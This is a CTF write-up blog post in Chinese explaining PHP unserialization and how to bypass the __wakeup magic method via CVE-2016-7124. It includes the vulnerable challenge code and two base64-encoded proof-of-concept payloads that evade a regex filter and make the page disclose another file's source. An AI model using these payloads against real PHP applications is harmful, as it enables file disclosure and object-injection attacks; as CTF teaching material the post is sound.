php反序列化漏洞绕过魔术方法 __wakeup
2017-05-10 18:34
1231 查看
0x01 前言
前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势。。0x02 原理
序列化与反序列化简单介绍
序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()反序列化:恢复原先被序列化的变量 函数: unserialize()
1 <?php 2 $test1 = "hello world"; 3 $test2 = array("hello","world"); 4 $test3 = 123456; 5 echo serialize($test1); // s:11:"hello world"; 序列化字符串 6 echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组 7 echo serialize($test3); // i:123456; 8 ?>
1 <?php 2 class hello{ 3 public $test4 = "hello,world"; 4 } 5 $test = new hello(); 6 echo serialize($test); // O:5:"hello":1:{s:5:"test4";s:11:"hello,world";} 序列化对象 首字母代表参数类型 O->Objext S->String... 7 ?>
魔术方法:官方文档中介绍
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为"魔术方法"(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。
__wakeup()魔术方法
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
序列化public private protect参数产生不同结果
1 <?php 2 class test{ 3 private $test1="hello"; 4 public $test2="hello"; 5 protected $test3="hello"; 6 } 7 $test = new test(); 8 echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";} 9 ?>
test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
通过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}
private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3
0x03 分析
比赛题目1 <?php 2 error_reporting(0); 3 class sercet{ 4 private $file='index.php'; 5 6 public function __construct($file){ 7 $this->file=$file; 8 } 9 10 function __destruct(){ 11 echo show_source($this->file,true); 12 } 13 14 function __wakeup(){ 15 $this->file='index.php'; 16 } 17 } 18 19 $cmd=cmd00; 20 if (!isset($_GET[$cmd])){ 21 echo show_source('index.php',true); 22 } 23 else{ 24 $cmd=base64_decode($_GET[$cmd]); 25 if ((preg_match('/[oc]:\d+:/i',$cmd))||(preg_match('/flag/i',$cmd))){ 26 echo "Are u gaoshing?"; 27 } 28 else{ 29 unserialize($cmd); 30 } 31 } 32 ?> 33 //sercet in the_next.php
大致思路 首先是一个类sercet 接受$cmd,绕过正则 ,反序列化。覆盖$file的值,绕过 __wakeup,显示the_next.php的源码
1 <?php 2 class sercet{ 3 private $file='index.php'; 4 5 public function __construct($file){ 6 $this->file=$file; 7 } 8 9 function __destruct(){ 10 echo show_source($this->file,true); 11 } 12 13 function __wakeup(){ 14 $this->file='index.php'; 15 } 16 } 17 $test = new sercet("the_next.php"); 18 echo serialize($test); // O:6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} 19 ?>
绕过正则可以用+号 问题是如何绕过__weakup 百度一下 发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
O:6:"sercet":1: 也就是输入比1大的值就行 如O:6:"sercet":2:
POC1: TzorNjoic2VyY2V0IjozOntzOjEyOiIAc2VyY2V0AGZpbGUiO3M6MTI6InRoZV9uZXh0LnBocCI7fQ==
在复现的过程中 我发现在hackbar中直接将 O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} base64编码不能绕过 必须要在本地base64_encode生成 才能复现成功 百度了一波
所以POC2: O:+6:"sercet":2:{S:12:"\00sercet\00file";s:12:"the_next.php";} TzorNjoic2VyY2V0IjoyOntTOjEyOiJcMDBzZXJjZXRcMDBmaWxlIjtzOjEyOiJ0aGVfbmV4dC5waHAiO30KCgo=
两个POC均可以成功绕过
参考链接
php bugs 72663分析(CVE-2016-7124)
由HITCON 2016一道web聊一聊php反序列化漏洞
相关文章推荐
- 浅析PHP反序列化漏洞之PHP常见魔术方法(一)
- PHP魔术方法:Typecho反序列化漏洞
- php -- 魔术方法 之 序列化和反序列化的触发函数:__sleep(),__wakeup()
- PHP中的魔术方法总结 :__construct,__destruct ,__call,__callStatic,__get,__set,__isset,__unset,__sleep,__wakeup, __toString.......
- php 魔术方法 __sleep() __wakeup() __toString() __debuginfo()
- php 魔术方法 __sleep() __wakeup()
- PHP中的魔术方法总结:__construct,__destruct ,__call,__callStatic,__get,__set,__isset, __unset ,__sleep,__wakeup,__toString,__set_state,__clone,__autoload
- PHP魔术方法 __sleep和__wakeup()
- PHP魔术方法 __sleep和__wakeup()
- PHP中的魔术方法总结 :__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep, __wakeup, __toString, __set_state, __clone and __autoload
- 【小白笔记】PHP学习之路 (21) --对象 魔术方法、变量 序列化
- PHP中的魔术方法总结 :__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep, __wakeup, __toStr
- PHP中的魔术方法总结 :__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep, __wakeup, __toStr
- PHP中的魔术方法:__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep, __wakeup, __toString, __set_state, __clone and __autoload
- PHP中的魔术方法总结 :__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep, __wakeup, __toStr
- PHP魔术方法之序列化与反序列化技术
- php---魔术方法(__wakeup和__sleep)
- php---魔术方法(__wakeup和__sleep)
- PHP魔术方法之 __sleep() 和 __wakeup()
- php中的魔术常量和魔术方法(二) ,方法?属性?不存在的!